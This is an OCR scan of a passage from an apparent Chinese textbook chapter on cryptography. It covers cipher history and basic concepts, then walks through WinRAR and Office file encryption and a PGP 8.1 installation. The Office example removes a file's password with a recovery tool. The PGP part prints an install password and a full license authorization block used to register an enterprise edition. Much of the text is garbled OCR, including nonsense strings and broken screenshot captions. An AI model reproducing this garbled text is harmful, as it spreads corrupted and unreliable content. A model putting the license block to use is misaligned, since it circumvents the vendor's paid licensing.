人 员 , 以 破译 截获 的 密 信 。 密 码 破 译 技术 有 了 相当 大 的 发 展 。1863 年 普鲁士 人 卡 西 斯 基 记 
著 《 密 码 和 破译 技术 ) 以 及 1883 年 法 国人 克 尔 克 霍 夫 所 著 《 军 事 密码 学 } 等 著作 ,都 对 密码 学 
的 理论 和 方法 做 过 一 些 论述 和 探讨 。1949 年 美国 人 香农 发 表 了 《秘密 体制 的 通信 理论 ) 一 
文 ,应 用 信息 论 的 原理 分 析 了 密码 学 中 的 一 些 基本 问题 。 

1917 年 ,英国 破译 了 德国 外 长 齐 默 尔 曼 的 电报 ,促成 了 美国 对 德 宣战 。1942 年 ,美国 从 
破译 日 本 海军 密 报 中 ,获悉 日 军 对 中 途 岛 地 区 的 作战 意图 和 兵力 部 署 ,从 而 以 劣势 兵力 击破 
日 本 海军 的 主力 ,扭转 了 太平 洋 地 区 的 战局 。 这 些 事例 也 从 反面 说 明了 密码 保密 的 重要 性 。 

如 今 许多 国家 都 十 分 重视 密码 工作 ,设立 相关 机 构 , 拨 出 巨额 经 费 , 集 中 专家 和 科技 人 
员 ,投入 大 量 高 速 的 电子 计算 机 和 其 他 先进 设备 进行 工作 。 各 民间 企业 和 学 术 界 也 对 密码 
日 益 重视 ,不 少数 学 家 、 计 算 机 学 家 和 其 他 有 关 学 科 的 专家 也 投身 于 密码 学 的 研究 行列 ,更 
加 速 了 密码 学 的 发 展 。 

总 之 ,计算 机 安全 主要 包括 系统 安全 和 数据 安全 两 个 方面 。 而 数据 安全 则 主要 采用 现 
代 密 码 技术 对 数据 进行 安全 保护 ,如 数据 保密 、 数 据 完整 性 .身份 认证 等 技术 。 密 码 技术 包 
括 密码 算法 设计 、 密 码 分 析 、 安 全 协议 .身份 认证 、 消 息 确认 、 数 字 签 名 、 密 钥 管理 、. 密 钥 托管 
等 技术 ,是 保护 大 型 网 络 安全 传输 信息 的 唯一 有 效 手段 ,是 保障 信息 安全 的 核心 技术 。 密 码 
技术 以 很 小 的 代价 ,对 信息 提供 一 种 强 有 力 的 安全 保护 。 


1. 明文 . 密 文 .算法 和 密 钥 
密码 是 通信 双方 按 约定 的 法 则 进行 信息 特殊 变换 的 一 种 重要 保密 手段 。 依 照 这 些 法 
则 , 变 明文 为 密 文 , 称 为 加 密 变换 ; 变 密 文 为 明文 , 称 为 解密 变换 。 密 码 在 早期 仅 对 文字 或 数 


码 进行 加 、 解 密 变换 , 随 着 通信 技术 的 发 展 , 对 语音 、 图 像 .数据 等 都 可 实施 加 、 解 密 变换 。 
明文 (plaintext) : 能 够 被 人 们 直接 阅读 的 、 需 要 被 隐蔽 的 文字 。 
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密 文 (cipertext) : 不 能 够 被 人 们 直接 阅读 的 文字 。 
加 密 Cencryption) ; 用 某 种 方法 将 文字 转换 成 不 能 直接 阅读 的 形式 的 过 程 。 加 密 一 般 
分 为 3 类 , 即 对 称 加 密 、 非 对 称 加 密 以 及 单 向 散 列 函数 。 
解密 (decryption) : 把 密 文 转变 为 明文 的 过 程 。 明 文 用 M 表示 , 密 文 用 C 表示 ,加 密 函 
Z E EHT M 得 到 密 文 C, 用 数学 表示 如 下 : 
E(M)=C 
相反 的 ,解密 函数 D 作用 于 C 产生 M; 
D(C)=M 
密 钥 : 用 来 对 数据 进行 编码 和 解码 的 一 串 字 符 。 
加 密 算法 : 在 加 密 密 钥 的 控制 下 对 信息 进行 加 密 的 一 组 数学 变换 。 
解密 算法 : 在 解密 密 钥 的 控制 下 对 密 文 进行 解密 的 一 组 数学 变换 。 
现代 加 密 算法 的 安全 性 基于 密 钥 的 安全 性 ,算法 是 公开 的 ,可 以 被 所 有 人 分 析 , 只 要 保 
证 密 钥 不 被 人 知道 ,就 可 保证 信息 的 安全 。 


2. 密码 体制 


密码 学 包括 密码 设计 与 密码 分 析 两 个 方面 ,密码 设计 主要 研究 加 密 方法 ;密码 分 析 主 要 
针对 密码 破译 , 即 如 何 从 密 文 推演 出 明文 、 密 钥 或 解密 算法 的 学 问 。 

从 密码 学 的 发 展 历程 来 看 , 共 经 历 了 古典 密码 、 对 称 密 钥 密 码 ( 单 钥 密 码 体 制 ) ,公开 密 
钥 密 码 ( 双 钥 密 码 体制 )3 个 发 展 阶段 。 古 典 密码 是 基于 字符 替换 的 密码 ,现在 已 经 很 少 使 
用 ,但 它 代表 了 密码 的 起 源 。 

基于 密 钥 的 算法 按 密 钥 管理 的 方式 可 以 分 为 对 称 算法 与 非 对 称 算法 两 大 类 , 即 通常 所 
说 的 对 称 密 钥 密码 体制 和 非 对 称 密 钥 密码 体制 。 相 应 的 ,对 数据 的 加 密 技 术 分 为 对 称 加 密 
(私人 密 钥 加 密 ) 和 非 对 称 加 密 ( 公 开 密 钥 加 密 ) 。 

密码 体制 从 原理 上 可 分 为 两 大 类 , 即 单 钥 密码 体制 (对 称 性 加 密 ) 和 双 钥 密码 体制 ( 非 对 
称 性 加 密 )。 单 钥 体制 的 加 密 密 钥 和 解密 密 钥 相 同 。 采 用 单 钥 体 制 的 系统 的 保密 性 主要 取 
决 于 密 钥 的 保密 性 ,与 算法 的 保密 性 无 关 , 即 由 密 文 和 加 解密 算法 不 可 能 得 到 明文 。 换 句 话 
说 ,算法 无 须 保 密 , 需 保密 的 仅 是 密 钥 。 根 据 单 钥 密码 体制 的 这 种 特性 , 单 钥 加 、 解 密 算法 可 
通过 低 费 用 的 芯片 来 实现 。 公 钥 密 码 体制 要 求 密 钥 成 对 使 用 。 每 个 用 户 都 有 一 对 选 定 的 密 
钥 ,一 个 可 以 公开 , 即 公 共 密 钥 。 一 个 由 用 户 安全 拥有 , 即 秘密 密 钥 。 公 共 密 钥 和 秘密 密 钥 


之 间 有 密切 的 关系 。 
密码 学 术 研 究 历史 如 下 。 
1949 年 Shannon 发 表 论文 (秘密 体制 的 通信 理论 ) 一 一 密码 研究 成 为 学 术 研 究 。 
1976 Æ W. Diffie 和 M. E. Hellman 发 表 论 文 (密码 学 的 新 方向 ) 一 一 公 钥 思想 提出 。 
1977 年 美国 国家 标准 局 正式 公布 实施 DES 一 一 密码 技术 商用 典范 。 
1978 年 RSA 公 钥 算法 提出 (R. L. RivestA. ShamirL. Adleman) 公 钥 算法 经 典 。 


1981 年 国际 密码 研究 学 会 (International Association for Cryptologic Research,IACR) 
成 立 。 
2001 年 AES 选 定 。 


ey 
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3. 古典 密码 学 


古典 密码 有 着 悠久 的 历史 ,从 古代 一 直到 计算 机 出 现 以 前 ,古典 密码 学 主要 有 两 大 基本 
Jk. 

(1) 代替 密码 

代替 密码 就 是 将 明文 的 字符 替换 为 密 文中 的 另 一 种 字符 ,接收 者 只 要 对 密 文 做 反 向 蔡 
换 就 可 以 恢复 出 明文 。 简 而 言 之 , 它 是 将 明文 中 的 字母 用 其 他 字母 (或 数字 符号) 代替 的 加 
密 技 术 。 改 变 明文 内 容 的 表示 形式 ,保持 内 容 元 素 之 间 相 对 位 置 不 变 。 

代替 密码 举例 一 一 已 撤 密 码 。 

已 撤 (Caesar) 密 码 是 对 英文 26 个 字母 进行 移 位 代替 的 密码 ,如 图 3-1 所 示 。 

十 罗马 ,已 撤 大 帝 ( 公 元 前 101 一 公元 前 44 年 ) 提 出 的 替换 加 密 方 法 ,有 内 外 两 个 圆 盘 ， 
转动 外 盘 一 定 角度 , 即 密 钥 。 

加 密 过 程 : 密 钥 为 3, 即 顺 时 针 旋转 外 盘 , 明 文 为 test( 内 盘 字 母 ) ,用 外 盘 对 应 的 字母 代 
替 , 得 密 文 为 qbpq。 

解密 过 程 : 需要 知道 密 钥 为 3, 然 后 顺 时 针 旋 转 外 盘 , 密 文 为 qbpq( 外 盘 字 母 ) ,用 内 盘 
对 应 的 字母 代替 ,明文 为 test。 

(2) 易 位 密码 

易 位 密码 明文 的 字母 保持 相同 ,但 顺序 被 打 乱 。 明 文 仅仅 通过 移动 它 的 元 素 的 位 置 而 
得 到 密 文 ,这 种 加 密 方 法 称 为 置换 技术 。 改 变 明文 内 容 元 素 的 相对 位 置 ,保持 内 容 的 表现 形 
式 不 变 。 

易 位 密码 举例 一 一 矩阵 转 置 。 

具体 如 图 3-2 Bron o 

明文 : how are youChowareyou) 。 

密 文 : hayoroweu。 


输入 
5 h | o | w 
出 | al| r| se 
ylolu 
图 3-1 旋转 外 盘 图 3-2 ”矩阵 转 置 


3.2 常用 加 密 方 法 


随 着 信息 技术 的 不 断 发 展 ,信息 量 不 断 扩大 ,数据 的 安全 性 和 保密 性 也 越 来 越 受到 人 们 
的 重视 ,在 计算 机 应 用 领域 中 最 常见 的 就 是 以 字母 ,数字 和 特殊 符号 组 成 的 密码 。 一 般 情况 
下 ,密码 在 使 用 过 一 次 之 后 会 保存 在 本 地 系统 中 ,但 是 密码 会 根据 输入 环境 的 不 同 导致 保存 


G 
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的 地 点 并 不 完全 一 致 ,有 的 密码 会 保存 在 内 存 的 临时 文件 中 ,有 的 则 会 保存 在 某 个 生成 的 加 
密 文件 中 。 

随 着 计算 机 及 网 络 的 快速 普及 ,计算 机 中 个 人 及 单位 资料 的 保护 问题 变 得 日 益 严峻 。 
无 论 是 黑客 入 侵 、 计 算 机 丢失 、 计 算 机 送 修 等 都 可 能 会 导致 自己 的 隐私 文件 泄露 。 为 了 避免 
这 些 问 题 ,最 方便 快捷 的 方法 就 是 对 隐私 文件 进行 加 密 处 理 。 让 别人 即使 拿 到 这 些 文件 ,也 
会 因为 没有 密码 而 无 法 查看 ,从 而 保障 了 隐私 安全 。 


3.2.1 实例 : 使 用 压缩 工具 加 密 
使 用 流行 的 压缩 软件 Winrar 可 以 把 需要 保密 的 文 


件 进行 加 密 处 理 。 尽 管 网 络 上 有 许多 破解 这 些 加 密 压缩 
的 工具 ,但 是 由 于 这 些 工具 大 多 是 通过 猜测 密码 来 破解 nm 


的 ,因此 ,只 要 把 密码 设置 得 尽 可 能 复杂 一 些 ,就 可 使 得 Rs M 
Wap Jon EN 
第 1 步 ; 在 图 3-3 中 , 右 击 winrar. enerypt 文件 夹 ， 共享 和 安全 
在 右键 菜单 中 选择 [添加 到 压缩 文件 了 命令 UR 
件 名 和 参数 ] 对 话 框 ,如 图 3-4 所 示 。 ea 
第 2 步 : 在 图 3-4 中 选择 [高 级 了 选项 卡 , 单 击 【设置 ET 
密码 了 按钮 , 出现 【 带 密码 压缩 对话 框 ,如 图 3-5 所 示 。 we 
其 中 【加密 文 件 名 了 选项 是 指 在 没有 密码 的 情况 下 打开 该 


压缩 包 后 是 否 能 够 看 到 被 压缩 文件 的 文件 名 。 输 入 压缩 
密码 后 单 击 【确定 ] 按 钮 。 


E 压 第 文件 名 和 多 数 
an [an [xm | 文件 [备份 [ma ium | 


NTFS 选项 恢复 记录 QD 
口 保存 文件 安全 数据 O) 
口 保存 文件 流 数 据 (D 


系统 

口 后 台 压缩 @) 

口 完成 操作 后 关闭 计算 机 电源 下 ) 
口 加 果 其 地 WinRAR 副本 该 激活 则 | 等待 四) 


[确定 


图 3-4 【压缩 文件 名 和 参数 】 对 话 框 图 3-5 【 带 密码 压缩 3 对话 框 
苞 注 意 ， 打 包 后 最 好 删除 被 加 密 的 原始 文件 (文件 夹 ) 。 


3.2.2 实例 : Office 文件 加 密 与 解密 


$88 135. 创建 encrypt_test. doc 文件 ,如 图 3-6 所 示 。 
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Office 文件 加 密 与 解密 . 


> 
iff i33 3*8 € 


«o» 


图 3-6 ”创建 encrypt_test. doc 文件 


第 2 步 : 在 图 3-6 中 ,依次 选择 [工具 了 民选 项 命令 ,弹出 【选项 ] 对 话 框 , 如 图 3-7 所 示 。 

第 3 步 : 在 图 3-7 中 , 单 击 【高 级 ] 按 钮 ,弹出 如 图 3-8 所 示 的 对 话 框 。 选 择 默 认 选 项 
[Office 97/2000 兼容 】, 单 击 【确定 按钮 , 回 到 图 3-7, 输 入 “打开 文件 时 的 密码 ”和 “修改 文 
件 时 的 密码 ”, 单 击 【 确 定 ] 按 钮 ,然后 保存 文件 并 且 退 出 Word. 


拼写 和 语法 | 修订 | 用 户 信息 | sst | 中 文 版 式 | 文件 位 
视图 "VAR | 编辑 打印 | RF 安全 性 


此 文档 的 文件 加 密 选 项 

打开 文件 时 的 密码 @) (rre ] 
此 文档 的 文件 共享 选项 

修改 文件 时 的 密码 四。 [res ] 

口 建议 以 只 读 方 式 打开 文档 到 ) 
AEZ) (ixeo 


隐秘 选项 
口 保 存 时 从 文件 属性 中 删除 个 人 信息 QU. 
口 打 印 、 保 存 或 发 送 包 合 修订 或 批注 的 文件 之 前 结 出 警 省 中 ) 
[v] 存储 用 于 增强 合并 精确 性 的 随机 编号 T) 
打开 或 保存 时 标记 可 见 QD 

Exil 


3 
CE CR ) 
图 3-7 【选项 ] 对 话 框 


|, Microsoft Base Cryptographic Provider vi.0 
|, Microsoft Base DSS and Diffie-Hellman Cryptographic Provider 


Cryptographic Provider 


icrosoft Enhe s fi 
|, Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) 


图 3-8 【加 密 类 型 ] 对 话 框 
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第 4 步 : 双击 encrypt_test. doc 文件 ,如 图 3-9 和 图 3-10 所 示 ,要 求 输入 打开 文件 时 的 
密码 和 修改 文件 时 的 密码 ,密码 正确 后 即 可 对 encrypt_test. doc 文件 进行 正常 操作 。 


z8 四 


WENT 所 需 的 密码 
Mánini strator B encrypt. test. doc 
m 


DL a ) 
[d 3-9 输入 打开 文件 时 的 密码 图 3-10 输入 修改 文件 时 的 密码 


第 5 步 : 到 网 上 下 载 officepasswordrecovery. zip(Office Password Recovery Toolbox 
V1.0.0.6 汉化 版 ) 并 安装 ,然后 运行 Office Password Recovery Toolbox, 如 图 3-11 所 示 。 
选择 要 解密 的 文件 (encrypt_test. doc 文件 ) ,如 图 3-12 所 示 。 


ce Password Recovery Toolbox — [7] 


Office Password Recovery Toolbox 


图 3-11 选择 要 解密 的 文件 图 3-12 移 除 密码 


第 6 步 : 在 图 3-12 中 , 单 击 【 移 除 密码 ] 按 钮 。 会 弹出 如 图 3-13 所 示 的 【信息 】 对 话 框 ， 
提示 信息 大 意 是 用 该 软件 进行 解密 的 前 提 条 件 是 能 够 访问 互联 网 。 如 果 没 有 联网 , 单 击 
【确定 了 按钮 ,会 依次 出 现 如 图 3-14 所 示 的 图 示 ; 如 果 联 网 , 单 击 【确定 ] 按 钮 ,大 概 一 分 钟 左 
右 时 间 , 会 弹出 如 图 3-15 所 示 的 对 话 框 ,提示 密码 成 功 解密 ,在 图 3-15 "P. HR i D og Nk 
钮 。 会 弹出 如 图 3-16 所 示 的 对 话 框 ,表示 解密 成 功 ,生成 解密 的 文件 encrypt _ test 
(DEMO). doc。 单 击 【 在 Microsoft Word 中 打开 文档 按钮 ,打开 encrypt_test (DEMO). 
doc 文 件 ,至 此 ,加 密 文 件 破解 成 功 。 


Software 


AF. 如: 


Office Password Recovery Toolbox [X] 


Q Rman 


AT: » 程序 格 向 Rixler Software IR 
2 些 字 节 。 如 果 您 有 防火 墙 ， 请 


Internet, 


Dr CC 到 


图 3-13 【信息 】 对 话 框 图 3-14 没有 联网 图 示 
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ELA 
文件 各 


[W] cs Aaninistrator\ 旧 面 \ 轩 Ey 


Yord 文 档 密码 
“打开 ”密码 
“BA” 密码 : 
“保护 ”密码 
YEAI 程 密码 


Office Password Recovery Toolbox [X] 


dà) merme 


CEJ 
图 3-15 成 功 解密 图 示 图 3-16 生成 解密 的 文件 


区 注意 通过 以 上 的 解密 过 程 可 知 ,破解 一 个 加 密 的 Office 文件 是 很 容易 的 ,主要 
原因 在 于 用 户 在 图 3-8 中 选择 默认 选项 [Office 97/2000 兼容 了 如果 选择 其 他 的 加 密 类 型 
(如 图 3-17 所 示 ) 对 文件 加 密 后 ,双击 encrypt_test. doc 文件 ,此 时 会 出 现 如 图 3-18 所 示 
的 提示 信息 ,为 解密 增加 了 难度 。 


选择 加 密 类 型 忆 

FARME OR) 

Office 91/2000 WE 
4, Microsoft Base Cryptographic Provider vl.O 

RCA, Microsoft Bi Difi 

ACA, Mi 


ce Password Recovery Toolbox [E3] 


EN 该 文档 不 是 被 标准 的 CSF 加 帘 的 ， 本 软件 不 支持 


图 3-17 选择 其 他 加 密 类 型 图 3-18 无 法 解密 提示 


3.2.3 实例 : 使 用 加 密 软 件 PGP 


PGP(Pretty Good Privacy) 是 全 球 著名 的 、 在 信息 安全 传输 领域 首选 的 加 密 软件 ,其 技 
术 特 性 是 采用 了 非 对 称 的 “ 公 钥 "和 “ 私 钥 ” 加 密 体系 ,创造 性 地 把 RSA 公 钥 体系 的 方便 性 和 
传统 加 密 体系 的 高 速度 结合 起 来 .可 以 用 来 加 密 文 件 , 用 于 数字 签名 的 邮件 摘要 算法 ,加 密 
前 压缩 等 ,是 目前 最 难 破译 的 密码 体系 之 一 。 

由 于 美国 对 信息 加 密 产 品 有 严格 的 法 律 约束 .特别 是 对 向 美国 ,加拿大 之 外 国家 散播 该 
类 信息 以 及 出 售 ,发 布 该 类 软件 时 约束 更 为 严格 。 因 而 限制 了 PGP 的 一 些 发 展 和 普及 , 现 
在 该 软件 的 主要 使 用 对 象 为 情报 机 构 ,政府 机 构 和 信息 安全 工作 者 。PGP 最 初 的 设计 主要 
是 用 于 邮件 加 密 ,如今 已 经 发 展 到 了 可 以 加 密 整 个 硬盘 、 分 区 文件 .文件 夹 ,并 集成 到 邮件 
软件 中 进行 邮件 加 密 ,甚至 可 以 对 ICQ. 的 聊天 信息 实时 加 密 。 

到 PGP 中 文 网 站 http: //www. pgp. com. cn 下 载 PGP Desktop 8. 1 英文 版 (PGP810- 
PF-W.zip, 解 压 出 的 文件 名 是 “PGP8. exe") fll PGP Desktop 8. 1 中 文 汉化 安装 包 (PGP_ 
CN.zip, 解 压 出 的 文件 名 是 “*PGP 简体 中 文 版 . exe”) 。 安 装 PGP 8. 1 简体 中 文 版 前 必须 先 


GE 


RS 
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安装 PGP 8.1 英文 原版 。PGP 中 文 版 安装 密码 为 : pgp. com. cn。 
1. 安装 PGP 


$8 1 35 . 双击 PGP8. exe, 进 入 安装 界面 ,如 图 3-19 所 示 。 


Welcome 


Welcome to the PGP 8.1 installer. We strongly recommend. 
that you exit all Windows programs before continuing. 


Thank you for using our products. 


图 3-19 欢迎 界面 


第 2 步 : 在 图 3-19 中 , 单 击 Next 按钮 ,出 现 License Agreement 页 面 ,如 图 3-20 所 示 ， 
单 击 Yes 按钮 ,出 现 Read Me 页 面 , 如 图 3-21 所 示 。 


License Agreement 
Please read the folowing icense agreement carefuly. 


Press the PAGE DOWN key to see the rest of the agreement. 
orporation End User License Agreement 


BY CLICKING THE YES BUTTON OR INSTALLING THE 

SOFTWARE, YOU AGREE TO BE BOUND BY AND BECONE 

A PARTY TO THIS AGREENENT. IF YOU DO NOT AGREE 

TO ALL OF THE TERMS OF THIS AGREEMENT, YOU MUST 

CLICK THE BUTTON THAT INDICATES THAT YOU DO NOT 

ACCEPT THE TERMS OF THIS AGREEMENT AND YOU MUST 

NOT TNSTALI. THE. SOFTWARE. AFTER WHICH YOI MAY E. 
Do you accept al the terms of the preceding License Agreement? If you choose No, the 
setup wil close. To install he product, you must accept this agreement. 


[res] 


图 3-20 License Agreement 页 面 


$8 3 1p . 在 图 3-21 中 , 单 击 Next 按钮 ,出现 User Type 页 面 , 如 图 3-22 所 示 ,若是 新 用 
户 ,需要 创建 并 设置 一 个 新 的 用 户 信 息 。 单 击 Next 按钮 ,出 现 Install Directory. 页 面 ,如 
图 3-23 所 示 ,选择 程序 的 安装 目录 。 

第 4 步 : 在 图 3-23 中 , 单 击 Next 按钮 ,出 现 Select Components 页 面 ,如 图 3-24 所 示 ， 
选择 磁盘 加 密 组 件 ICQ 实时 加 密 组 件 和 Outlook Express 邮件 加 密 组 件 。 单 击 Next 按 
钮 ,出 现 Start Copying Files 页 面 ,如 图 3-25 所 示 , 单 击 Next 按钮 ,进行 安装 ,如 图 3-26 所 
示 。 最 后 再 根据 提示 (如 图 3-27 所 示 ) 重 启 系统 。 
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Read Me 
Please read the folowing ReadMe carefully. 


PGP” 8.1.0 for Windows Release 
Notes 


Copyright © 1991-2004 by PGP Corporation. All Rights Reserved. 
PGP is a registered trademark of PGP Corporation. 


Thank you for using this PGP Corporation product. These 
Release Notes contain important information regarding 
< 


图 3-21 Read Me 页 面 


User Type 
Please tell us if you have existing PGP Keyrings you'd ike to use. 


Do you already have PGP keyrings you would lke to use? 


图 3-22 User Type 页 面 


PGP 8.1 


Install Directory 
Use the Browse button to select your desired destination folder. 


Setup will install PGP 8.1 in the folowing folder. 


To install to this folder, click the Next button. To install to a diferent folder, click the 
Browse button and select another tolder. 


r- Destination Folder. 
CALAPGP Corporation VPGP for Windows XP 


«Back |{ Net» ] _ Cancel 


图 3-23 Install Directory 页 面 
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Select Components 
Choose the components Setup will install 


Select the components you want to install, and clear the components you do not want to 
install. 


Description 
This. includes the 
PGPmai for Microsoft Outlook mogan tiee ien a 
PGPmail for Microsoft Outlook Express 
[Ez] PGPmai for Qualcomm Eudora. 
CX PGPma for GroupWise 


Gh PGPdisk Volume Securty 


Space Required on C: 
Space Available on C: 


图 3-24 Select Components 页 面 


Start Copying Files 
Review settings before copying fles. 


Setup has enough information lo statt copying the program fles. I you want to review or 
change any settings, cick Back. If you are satisfied wih the settings, chck Next to begin 


As a New user to PGP, we welcome you and 
thank you for choosing our product. 


图 3-25 Start Copying Files 页 面 


PGP 8.1 
Setup Status 


PGP Setup is performing the requested operations. 


Instaling — PGPmail for Microsoft Outlook Express. 
CAWINDOWSVystem32VPGPoe dii 


Eum] 31% 
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PGP 8.1 install complete. 


PEP 91 has been successful lal Dekor you can ue 
the program. you must restart your computer. 


TV. Yes, I want to restait my computer now. 


图 3-27 安装 结束 


$853. 重启 系统 后 ,双击 PGP 简体 中 文 版 . exe, 如 图 3-28 所 示 , 输 入 PGP 中 文 版 安 
装 密码 pgp. com. cn, 单 击 【 确 定 】 按 钮 ,然后 依次 按照 图 3-29 一 图 3-35 的 提示 进行 PGP 
汉化 。 


iB PEP 8. 1 简体 中 文化 版 安 


欢迎 使 用 Pop 8.1 简 体 中 文化 版 安装 向 导 


5 PGP 8, CN 
(第 三 次 修正 ) 。 EUF, WEET- 


3 x 请 首先 确认 你 已 经 安装 了 PGP6,1 英 文 原版 接 下 来 的 安 
请 答 入 安装 密码 — 装 中 ， 请 务必 仔细 阅读 许可 协议 ? 


加 果 你 是 第 一 次 使 用 PGP ,请 访问 www.pgp.com.cn 下 载 
i 亲手 指南 他 细 阅 读 简 要 教学 ， 
ERA: [ee 


Cae J Ca 


图 3-28 输入 密码 图 3-29 欢迎 界面 


GP B. 1 简体 中 文化 版 安装 向 导 


一 些 安装 和 使 用 中 需要 广 意 的 问题 HE? 天 则 可 能 出 现 上 问题 ) : ^ 
A 本 程序 只 可 实现 英文 原版 的 PGF 8. 1 桌面 版 的 中 文化 ,不 可 用 于 其 地 低 版 本 ,否则 
会 出 现 一 些 问题 。 3 
|B， 安装 后 请 在 P6? 选 项 中 关闭 “自动 检查 更 新 ”， 否则 会 提示 你 PGP 已 有 更 新 ( 官方 
| 的 FGP 9 英文 版 》， 而 PGP 9 的 功能 尚未 完善 ， 且 没有 完美 的 “免费 补丁 ”， 不 推荐 更 — 
扬 。 如果 更 新 ， 也 格 不 能 再 使 用 本 简体 中 文 版 
| 如果 不 喜欢 我 特别 制作 的 SDA 外 壳 ， 可 联系 我 获得 原始 的 中 文 汉 化 版 
本 程序 是 Xray 总 历时 近 3 年 的 汉化 成 果 ， 其 间 反 复 推 鼓 专 业 词 汇 的 翻译 方法 和 调整 
| 界面 以 及 尝试 汉化 每 个 能 使 用 到 的 字 串 ， 力 求 使 其 更 容易 被 中 国人 使 用 。 以 前 的 版 本 
| 部 不 够 充 善 ， 故 而 仅 作为 内 部 使 用 , 近期 努力 格 其 充 善 到 了 一 个 相当 不 错 的 程度 ， 并 
Aene  SATLSRRPOE- A n2Cibae GRIP ROG IRGAASRO zent Ti M 
OPERETTE PHRA 
〇 我 不 接受 该 许可 证 协议 中 的 条 款 (D) 


KE A | 
图 3-30 ”许可 证 协议 
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i8 PEP 8. 1 简体 中 文化 版 安装 向 导 


E] 


将 PGP 8.1 简 体 中 文化 版 安装 到 ( 自动 检测 的 路 径 ， 不 建议 更 改 : 
C:\Program FlesPGP CorporationPGP for Windows XP 


图 3-31 目的 地 文件 夹 


IE POP 8. ! 简 体 中 文化 版 安装 向 导 
EE 
WERT eon. 
ORERRO 
18 将 安 装 所 有 的 程序 功能 。〔 需要 的 磁盘 空间 最 大 . 


OBS) 
18 RERUM SEDED 建议 高 级 用 户 使 


图 3-32 ”安装 类 型 


i8 POP 8. 1 简体 中 文化 版 安装 向 导 
B l 
单 击 ' 安 装 "开始 安 装 。 
要 查看 或 更 改 任何 安装 设置 ， 请 单 击 "上 一 步 "。 ME RABH. 


图 3-33 ”准备 安装 
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i8 PEP 8. 1 简体 中 文化 版 安装 向 导 


Em pose 


TEEST SINISTRE R. 这 需要 几 分 钟 的 


LH 
正在 验证 安装 


图 3-34 正在 安装 


第 6 步 : 在 图 3-35 中 , 单 击 【[ 完 成] 按钮 后 ,重启 系统 。 


IB PGP 8- 1 简体 中 文化 版 安装 向 导 


安装 向 导 完成 


A 和 7 PGP 8.1 莘 体 中 文化 版 。 单 击 完 


Á REBAS. 
学 


< 上 -#g COJ 


图 3-35 完成 安装 


BEE 教材 讲解 实例 时 采用 了 PGP 中 文 版 ,目的 是 为 了 方便 读者 学 习 PGP 加 密 软 
件 的 使 用 ,如 果 要 加 密 重 要 的 文件 ,在 此 提醒 大 家 使 用 PGP 破解 版 或 者 中 文 版 一 定 要 谨慎 ， 
因为 PGP 是 美国 公司 制作 的 、 国 际 知名 的 加 密 软 件 , 它 的 使 用 是 收费 的 ,并 且 没有 汉化 版 ， 
国内 的 破解 版 或 者 破解 汉化 版 可 能 被 放 入 了 木马 ,因此 ,正规 场合 一 定 要 选用 原版 软件 。 


第 7 步 : 重启 系统 后 ,在 图 3-36 中 右 击 任务 栏 的 小 锁 按钮 ,如 图 3-36 所 示 ,选择 【许可 
证 ] 命 令 。 出 现 [PGP 许可 证 授权 3 对话 框 ,如 图 3-37 所 示 ,在 对 话 框 里 填 和 名称、 组 织 ,许可 
证 号 。 单 击 【手动 ] 按 钮 后 ,实现 本 地 验证 ,如 图 3-38 所 示 。 


T PcP 许可 证 授权 


请 输入 你 的 名 称 ,组 织 ,和 许可 证 号 码 , 按 " 授 权 " 控 钮 自动 在 互联 网 上 授权 这 个 产品 . 
关于 PGP A) 


m 加 果 你 直接 收 到 了 来 自 客户 服务 代表 的 一 个 许可 证 授权 ,你 可 使 用 底部 的 "手动 " 按 


BEINAC. 
许可 证 信息 
EN): [PGP Desktop 


帮助 00) 
选项 @) 


ABiR(Q) [PGP Enterprise 


b Pordisk 
V Pcpxeys 
国 PGPmail 
ELi iska] 
NA C) 


FMES 


uox |.[ewes |- (mw) |- [rener |- [aesus |. [emc | 


加 果 你 没有 许可 证 号 ,或 你 正在 评估 这 个 产品 ,立即 按 " 购 买 "按钮 获得 来 自我 们 的 在 
误 购 物 网 站 的 一 个 许可 证 号 


UB 09:51 


HED SERM) 立即 购买 (P) 确认 (和) 
图 3-36 ”右键 菜单 图 3-37 【PGP 许可 证 授权 对话 框 
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T PcP 许可 证 授权 
请 输入 你 的 名 称 , 姐 织 ,和 许可 证 号 码 . 按 授权 按钮 自动 在 也 联网 上 授权 这 个 产品 . 


如 果 你 直接 收 到 了 来 自 客 户 服务 代表 的 一 个 许可 证 授权 ,你 可 使 用 底部 的 手动 按 
HIWAT. 
许可 证 信息 
名 称 (ND: [FGP Desktop 


AIRO): [PGP Enterprise 


许可 证 号 
[cux | -|wevs | -|mw |.[mwe |-[xwe |.|e | 


正确 粘贴 许可 证 授权 在 下 面 的 输入 框 内 . DEARI -DEGIN PEP LICENSE 
AUTHORIZATION" 和 一 -END PGP LICENSE 


—BEGIN PGP LICENSE AUTHORIZATI 
RS 1zACggvH4tuOArHlSwb22s69Nmx7YC 
END PGP LICENSE AUTHORIZA 


加 果 你 设 有 许可 证 号 ,或 你 正在 评估 这 个 产品 ZNE DI EARR BRNIE 
吉 购 物 网 站 的 一 个 许 阿 证 号 

[LEO_]】 [aww SIRE) La |) 
图 3-38 PGP 许可 证 授权 验证 


区 注意 重启 系统 时 会 自动 启动 PGPtray. exe, 这 个 程序 是 用 来 控制 和 调用 PGP 
的 全 部 组 件 的 ,如 果 觉 得 不 用 每 次 启动 时 自动 加 载 它 , 可 以 在 [开始 】 民 程序 】 民 启动 】 里 出 
除 PGPtray 的 快捷 方式 。 


$8 8 步 : 在 图 3-38 中 ,将 下 面 3 £7: 


----- BEGIN PGP LICENSE AUTHORIZATION- -一 一 一 
RDIRRPRRRAJ4gWeOov9Nr/gJITaVDz2olNEx1zRCggvH4tuORLHISwb22sBqNme7YC 
----- END PGP LICENSE AUTHORIZATION- ———— 


复制 到 图 3-38 中 , 单 击 【 确 认 ] 按 钮 ,出 现 如 图 3-39 所 示 对 话 框 , 单 击 【 确 定 ] 按 钮 ,注册 


DER) 
T PGP 许可 证 
PGP 公司 授权 的 许可 证 


: [PGP Enterprise ] 
; sT 


Ctrl 


更 改 许可 证 (G) 
图 3-39 注册 成 功 图 3-40 PGPkeys 窗口 


2. 创建 和 设置 初始 用 户 


第 1 步 : 在 图 3-36 中 ,选择 PGPkeys 命令 。 出 现 PGPkeys 窗口 ,如 图 3-40 所 示 ,依次 
选择 [ 密 钥 了 民 新 建 密 钥 了 命令 .出现 如 图 3-41 所 示 对 话 框 。 单 击 【 下 一 步 ] 按 钮 ,出 现 如 图 3-42 


ey 
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PGP 富 钥 生成 向 导 
欢迎 来 到 PGP 密 刍 生成 向 导 


